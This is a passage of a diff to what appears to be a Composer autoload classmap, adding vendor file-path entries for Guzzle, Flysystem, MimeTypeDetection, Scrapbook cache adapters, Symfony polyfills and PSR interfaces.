'\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FException\u002FConnectException.php',\n+    'GuzzleHttp\\\\Exception\\\\GuzzleException' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FException\u002FGuzzleException.php',\n+    'GuzzleHttp\\\\Exception\\\\InvalidArgumentException' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FException\u002FInvalidArgumentException.php',\n+    'GuzzleHttp\\\\Exception\\\\RequestException' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FException\u002FRequestException.php',\n+    'GuzzleHttp\\\\Exception\\\\ServerException' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FException\u002FServerException.php',\n+    'GuzzleHttp\\\\Exception\\\\TooManyRedirectsException' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FException\u002FTooManyRedirectsException.php',\n+    'GuzzleHttp\\\\Exception\\\\TransferException' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FException\u002FTransferException.php',\n+    'GuzzleHttp\\\\HandlerStack' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FHandlerStack.php',\n+    'GuzzleHttp\\\\Handler\\\\CurlFactory' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FHandler\u002FCurlFactory.php',\n+    'GuzzleHttp\\\\Handler\\\\CurlFactoryInterface' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FHandler\u002FCurlFactoryInterface.php',\n+    'GuzzleHttp\\\\Handler\\\\CurlHandler' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FHandler\u002FCurlHandler.php',\n+    'GuzzleHttp\\\\Handler\\\\CurlMultiHandler' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FHandler\u002FCurlMultiHandler.php',\n+    'GuzzleHttp\\\\Handler\\\\EasyHandle' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FHandler\u002FEasyHandle.php',\n+    'GuzzleHttp\\\\Handler\\\\HeaderProcessor' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FHandler\u002FHeaderProcessor.php',\n+    'GuzzleHttp\\\\Handler\\\\MockHandler' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FHandler\u002FMockHandler.php',\n+    'GuzzleHttp\\\\Handler\\\\Proxy' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FHandler\u002FProxy.php',\n+    'GuzzleHttp\\\\Handler\\\\StreamHandler' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FHandler\u002FStreamHandler.php',\n+    'GuzzleHttp\\\\MessageFormatter' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FMessageFormatter.php',\n+    'GuzzleHttp\\\\MessageFormatterInterface' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FMessageFormatterInterface.php',\n+    'GuzzleHttp\\\\Middleware' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FMiddleware.php',\n+    'GuzzleHttp\\\\Pool' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FPool.php',\n+    'GuzzleHttp\\\\PrepareBodyMiddleware' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FPrepareBodyMiddleware.php',\n+    'GuzzleHttp\\\\Promise\\\\AggregateException' => $vendorDir . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FAggregateException.php',\n+    'GuzzleHttp\\\\Promise\\\\CancellationException' => $vendorDir . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FCancellationException.php',\n+    'GuzzleHttp\\\\Promise\\\\Coroutine' => $vendorDir . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FCoroutine.php',\n+    'GuzzleHttp\\\\Promise\\\\Create' => $vendorDir . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FCreate.php',\n+    'GuzzleHttp\\\\Promise\\\\Each' => $vendorDir . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FEach.php',\n+    'GuzzleHttp\\\\Promise\\\\EachPromise' => $vendorDir . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FEachPromise.php',\n+    'GuzzleHttp\\\\Promise\\\\FulfilledPromise' => $vendorDir . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FFulfilledPromise.php',\n+    'GuzzleHttp\\\\Promise\\\\Is' => $vendorDir . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FIs.php',\n+    'GuzzleHttp\\\\Promise\\\\Promise' => $vendorDir . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FPromise.php',\n+    'GuzzleHttp\\\\Promise\\\\PromiseInterface' => $vendorDir . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FPromiseInterface.php',\n+    'GuzzleHttp\\\\Promise\\\\PromisorInterface' => $vendorDir . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FPromisorInterface.php',\n+    'GuzzleHttp\\\\Promise\\\\RejectedPromise' => $vendorDir . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FRejectedPromise.php',\n+    'GuzzleHttp\\\\Promise\\\\RejectionException' => $vendorDir . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FRejectionException.php',\n+    'GuzzleHttp\\\\Promise\\\\TaskQueue' => $vendorDir . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FTaskQueue.php',\n+    'GuzzleHttp\\\\Promise\\\\TaskQueueInterface' => $vendorDir . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FTaskQueueInterface.php',\n+    'GuzzleHttp\\\\Promise\\\\Utils' => $vendorDir . '\u002Fguzzlehttp\u002Fpromises\u002Fsrc\u002FUtils.php',\n+    'GuzzleHttp\\\\Psr7\\\\AppendStream' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FAppendStream.php',\n+    'GuzzleHttp\\\\Psr7\\\\BufferStream' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FBufferStream.php',\n+    'GuzzleHttp\\\\Psr7\\\\CachingStream' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FCachingStream.php',\n+    'GuzzleHttp\\\\Psr7\\\\DroppingStream' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FDroppingStream.php',\n+    'GuzzleHttp\\\\Psr7\\\\Exception\\\\MalformedUriException' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FException\u002FMalformedUriException.php',\n+    'GuzzleHttp\\\\Psr7\\\\FnStream' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FFnStream.php',\n+    'GuzzleHttp\\\\Psr7\\\\Header' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FHeader.php',\n+    'GuzzleHttp\\\\Psr7\\\\HttpFactory' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FHttpFactory.php',\n+    'GuzzleHttp\\\\Psr7\\\\InflateStream' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FInflateStream.php',\n+    'GuzzleHttp\\\\Psr7\\\\LazyOpenStream' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FLazyOpenStream.php',\n+    'GuzzleHttp\\\\Psr7\\\\LimitStream' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FLimitStream.php',\n+    'GuzzleHttp\\\\Psr7\\\\Message' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FMessage.php',\n+    'GuzzleHttp\\\\Psr7\\\\MessageTrait' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FMessageTrait.php',\n+    'GuzzleHttp\\\\Psr7\\\\MimeType' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FMimeType.php',\n+    'GuzzleHttp\\\\Psr7\\\\MultipartStream' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FMultipartStream.php',\n+    'GuzzleHttp\\\\Psr7\\\\NoSeekStream' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FNoSeekStream.php',\n+    'GuzzleHttp\\\\Psr7\\\\PumpStream' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FPumpStream.php',\n+    'GuzzleHttp\\\\Psr7\\\\Query' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FQuery.php',\n+    'GuzzleHttp\\\\Psr7\\\\Request' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FRequest.php',\n+    'GuzzleHttp\\\\Psr7\\\\Response' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FResponse.php',\n+    'GuzzleHttp\\\\Psr7\\\\Rfc7230' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FRfc7230.php',\n+    'GuzzleHttp\\\\Psr7\\\\ServerRequest' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FServerRequest.php',\n+    'GuzzleHttp\\\\Psr7\\\\Stream' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FStream.php',\n+    'GuzzleHttp\\\\Psr7\\\\StreamDecoratorTrait' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FStreamDecoratorTrait.php',\n+    'GuzzleHttp\\\\Psr7\\\\StreamWrapper' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FStreamWrapper.php',\n+    'GuzzleHttp\\\\Psr7\\\\UploadedFile' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FUploadedFile.php',\n+    'GuzzleHttp\\\\Psr7\\\\Uri' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FUri.php',\n+    'GuzzleHttp\\\\Psr7\\\\UriComparator' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FUriComparator.php',\n+    'GuzzleHttp\\\\Psr7\\\\UriNormalizer' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FUriNormalizer.php',\n+    'GuzzleHttp\\\\Psr7\\\\UriResolver' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FUriResolver.php',\n+    'GuzzleHttp\\\\Psr7\\\\Utils' => $vendorDir . '\u002Fguzzlehttp\u002Fpsr7\u002Fsrc\u002FUtils.php',\n+    'GuzzleHttp\\\\RedirectMiddleware' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FRedirectMiddleware.php',\n+    'GuzzleHttp\\\\RequestOptions' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FRequestOptions.php',\n+    'GuzzleHttp\\\\RetryMiddleware' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FRetryMiddleware.php',\n+    'GuzzleHttp\\\\TransferStats' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FTransferStats.php',\n+    'GuzzleHttp\\\\Utils' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FUtils.php',\n+    'JsonException' => $vendorDir . '\u002Fsymfony\u002Fpolyfill-php73\u002FResources\u002Fstubs\u002FJsonException.php',\n+    'League\\\\Flysystem\\\\Config' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FConfig.php',\n+    'League\\\\Flysystem\\\\CorruptedPathDetected' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FCorruptedPathDetected.php',\n+    'League\\\\Flysystem\\\\DirectoryAttributes' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FDirectoryAttributes.php',\n+    'League\\\\Flysystem\\\\DirectoryListing' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FDirectoryListing.php',\n+    'League\\\\Flysystem\\\\FileAttributes' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FFileAttributes.php',\n+    'League\\\\Flysystem\\\\Filesystem' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FFilesystem.php',\n+    'League\\\\Flysystem\\\\FilesystemAdapter' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FFilesystemAdapter.php',\n+    'League\\\\Flysystem\\\\FilesystemException' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FFilesystemException.php',\n+    'League\\\\Flysystem\\\\FilesystemOperationFailed' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FFilesystemOperationFailed.php',\n+    'League\\\\Flysystem\\\\FilesystemOperator' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FFilesystemOperator.php',\n+    'League\\\\Flysystem\\\\FilesystemReader' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FFilesystemReader.php',\n+    'League\\\\Flysystem\\\\FilesystemWriter' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FFilesystemWriter.php',\n+    'League\\\\Flysystem\\\\InvalidStreamProvided' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FInvalidStreamProvided.php',\n+    'League\\\\Flysystem\\\\InvalidVisibilityProvided' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FInvalidVisibilityProvided.php',\n+    'League\\\\Flysystem\\\\Local\\\\LocalFilesystemAdapter' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FLocal\u002FLocalFilesystemAdapter.php',\n+    'League\\\\Flysystem\\\\MountManager' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FMountManager.php',\n+    'League\\\\Flysystem\\\\PathNormalizer' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FPathNormalizer.php',\n+    'League\\\\Flysystem\\\\PathPrefixer' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FPathPrefixer.php',\n+    'League\\\\Flysystem\\\\PathTraversalDetected' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FPathTraversalDetected.php',\n+    'League\\\\Flysystem\\\\PortableVisibilityGuard' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FPortableVisibilityGuard.php',\n+    'League\\\\Flysystem\\\\ProxyArrayAccessToProperties' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FProxyArrayAccessToProperties.php',\n+    'League\\\\Flysystem\\\\StorageAttributes' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FStorageAttributes.php',\n+    'League\\\\Flysystem\\\\SymbolicLinkEncountered' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FSymbolicLinkEncountered.php',\n+    'League\\\\Flysystem\\\\UnableToCheckFileExistence' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToCheckFileExistence.php',\n+    'League\\\\Flysystem\\\\UnableToCopyFile' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToCopyFile.php',\n+    'League\\\\Flysystem\\\\UnableToCreateDirectory' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToCreateDirectory.php',\n+    'League\\\\Flysystem\\\\UnableToDeleteDirectory' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToDeleteDirectory.php',\n+    'League\\\\Flysystem\\\\UnableToDeleteFile' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToDeleteFile.php',\n+    'League\\\\Flysystem\\\\UnableToMountFilesystem' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToMountFilesystem.php',\n+    'League\\\\Flysystem\\\\UnableToMoveFile' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToMoveFile.php',\n+    'League\\\\Flysystem\\\\UnableToReadFile' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToReadFile.php',\n+    'League\\\\Flysystem\\\\UnableToResolveFilesystemMount' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToResolveFilesystemMount.php',\n+    'League\\\\Flysystem\\\\UnableToRetrieveMetadata' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToRetrieveMetadata.php',\n+    'League\\\\Flysystem\\\\UnableToSetVisibility' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToSetVisibility.php',\n+    'League\\\\Flysystem\\\\UnableToWriteFile' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnableToWriteFile.php',\n+    'League\\\\Flysystem\\\\UnixVisibility\\\\PortableVisibilityConverter' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnixVisibility\u002FPortableVisibilityConverter.php',\n+    'League\\\\Flysystem\\\\UnixVisibility\\\\VisibilityConverter' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnixVisibility\u002FVisibilityConverter.php',\n+    'League\\\\Flysystem\\\\UnreadableFileEncountered' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FUnreadableFileEncountered.php',\n+    'League\\\\Flysystem\\\\Visibility' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FVisibility.php',\n+    'League\\\\Flysystem\\\\WhitespacePathNormalizer' => $vendorDir . '\u002Fleague\u002Fflysystem\u002Fsrc\u002FWhitespacePathNormalizer.php',\n+    'League\\\\MimeTypeDetection\\\\EmptyExtensionToMimeTypeMap' => $vendorDir . '\u002Fleague\u002Fmime-type-detection\u002Fsrc\u002FEmptyExtensionToMimeTypeMap.php',\n+    'League\\\\MimeTypeDetection\\\\ExtensionLookup' => $vendorDir . '\u002Fleague\u002Fmime-type-detection\u002Fsrc\u002FExtensionLookup.php',\n+    'League\\\\MimeTypeDetection\\\\ExtensionMimeTypeDetector' => $vendorDir . '\u002Fleague\u002Fmime-type-detection\u002Fsrc\u002FExtensionMimeTypeDetector.php',\n+    'League\\\\MimeTypeDetection\\\\ExtensionToMimeTypeMap' => $vendorDir . '\u002Fleague\u002Fmime-type-detection\u002Fsrc\u002FExtensionToMimeTypeMap.php',\n+    'League\\\\MimeTypeDetection\\\\FinfoMimeTypeDetector' => $vendorDir . '\u002Fleague\u002Fmime-type-detection\u002Fsrc\u002FFinfoMimeTypeDetector.php',\n+    'League\\\\MimeTypeDetection\\\\GeneratedExtensionToMimeTypeMap' => $vendorDir . '\u002Fleague\u002Fmime-type-detection\u002Fsrc\u002FGeneratedExtensionToMimeTypeMap.php',\n+    'League\\\\MimeTypeDetection\\\\MimeTypeDetector' => $vendorDir . '\u002Fleague\u002Fmime-type-detection\u002Fsrc\u002FMimeTypeDetector.php',\n+    'League\\\\MimeTypeDetection\\\\OverridingExtensionToMimeTypeMap' => $vendorDir . '\u002Fleague\u002Fmime-type-detection\u002Fsrc\u002FOverridingExtensionToMimeTypeMap.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Apc' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FApc.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Collections\\\\Apc' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FCollections\u002FApc.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Collections\\\\Couchbase' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FCollections\u002FCouchbase.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Collections\\\\Flysystem' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FCollections\u002FFlysystem.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Collections\\\\Memcached' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FCollections\u002FMemcached.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Collections\\\\MemoryStore' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FCollections\u002FMemoryStore.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Collections\\\\Redis' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FCollections\u002FRedis.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Collections\\\\SQL' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FCollections\u002FSQL.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Collections\\\\Utils\\\\PrefixKeys' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FCollections\u002FUtils\u002FPrefixKeys.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Collections\\\\Utils\\\\PrefixReset' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FCollections\u002FUtils\u002FPrefixReset.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Couchbase' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FCouchbase.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Flysystem' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FFlysystem.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Memcached' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FMemcached.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\MemoryStore' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FMemoryStore.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\MySQL' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FMySQL.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\PostgreSQL' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FPostgreSQL.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\Redis' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FRedis.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\SQL' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FSQL.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Adapters\\\\SQLite' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FAdapters\u002FSQLite.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Buffered\\\\BufferedStore' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FBuffered\u002FBufferedStore.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Buffered\\\\TransactionalStore' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FBuffered\u002FTransactionalStore.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Buffered\\\\Utils\\\\Buffer' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FBuffered\u002FUtils\u002FBuffer.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Buffered\\\\Utils\\\\BufferCollection' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FBuffered\u002FUtils\u002FBufferCollection.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Buffered\\\\Utils\\\\Defer' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FBuffered\u002FUtils\u002FDefer.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Buffered\\\\Utils\\\\Transaction' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FBuffered\u002FUtils\u002FTransaction.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Exception\\\\Exception' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FException\u002FException.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Exception\\\\InvalidCollection' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FException\u002FInvalidCollection.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Exception\\\\InvalidKey' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FException\u002FInvalidKey.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Exception\\\\OperationFailed' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FException\u002FOperationFailed.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Exception\\\\ServerUnhealthy' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FException\u002FServerUnhealthy.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Exception\\\\UnbegunTransaction' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FException\u002FUnbegunTransaction.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Exception\\\\UncommittedTransaction' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FException\u002FUncommittedTransaction.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\KeyValueStore' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FKeyValueStore.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Psr16\\\\InvalidArgumentException' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FPsr16\u002FInvalidArgumentException.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Psr16\\\\SimpleCache' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FPsr16\u002FSimpleCache.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Psr6\\\\InvalidArgumentException' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FPsr6\u002FInvalidArgumentException.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Psr6\\\\Item' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FPsr6\u002FItem.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Psr6\\\\Pool' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FPsr6\u002FPool.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Psr6\\\\Repository' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FPsr6\u002FRepository.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Scale\\\\Shard' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FScale\u002FShard.php',\n+    'MatthiasMullie\\\\Scrapbook\\\\Scale\\\\StampedeProtector' => $vendorDir . '\u002Fmatthiasmullie\u002Fscrapbook\u002Fsrc\u002FScale\u002FStampedeProtector.php',\n+    'Normalizer' => $vendorDir . '\u002Fsymfony\u002Fpolyfill-intl-normalizer\u002FResources\u002Fstubs\u002FNormalizer.php',\n+    'PhpToken' => $vendorDir . '\u002Fsymfony\u002Fpolyfill-php80\u002FResources\u002Fstubs\u002FPhpToken.php',\n+    'Psr\\\\Cache\\\\CacheException' => $vendorDir . '\u002Fpsr\u002Fcache\u002Fsrc\u002FCacheException.php',\n+    'Psr\\\\Cache\\\\CacheItemInterface' => $vendorDir . '\u002Fpsr\u002Fcache\u002Fsrc\u002FCacheItemInterface.php',\n+    'Psr\\\\Cache\\\\CacheItemPoolInterface' => $vendorDir . '\u002Fpsr\u002Fcache\u002Fsrc\u002FCacheItemPoolInterface.php',\n+    'Psr\\\\Cache\\\\InvalidArgumentException' => $vendorDir . '\u002Fpsr\u002Fcache\u002Fsrc\u002FInvalidArgumentException.php',\n+    'Psr\\\\Container\\\\ContainerExceptionInterface' => $vendorDir . '\u002Fpsr\u002Fcontainer\u002Fsrc\u002FContainerExceptionInterface.php',\n+    'Psr\\\\Container\\\\ContainerInterface' => $vendorDir . '\u002Fpsr\u002Fcontainer\u002Fsrc\u002FContainerInterface.php',\n+    'Psr\\\\Container\\\\NotFoundExceptionInterface' => $vendorDir . 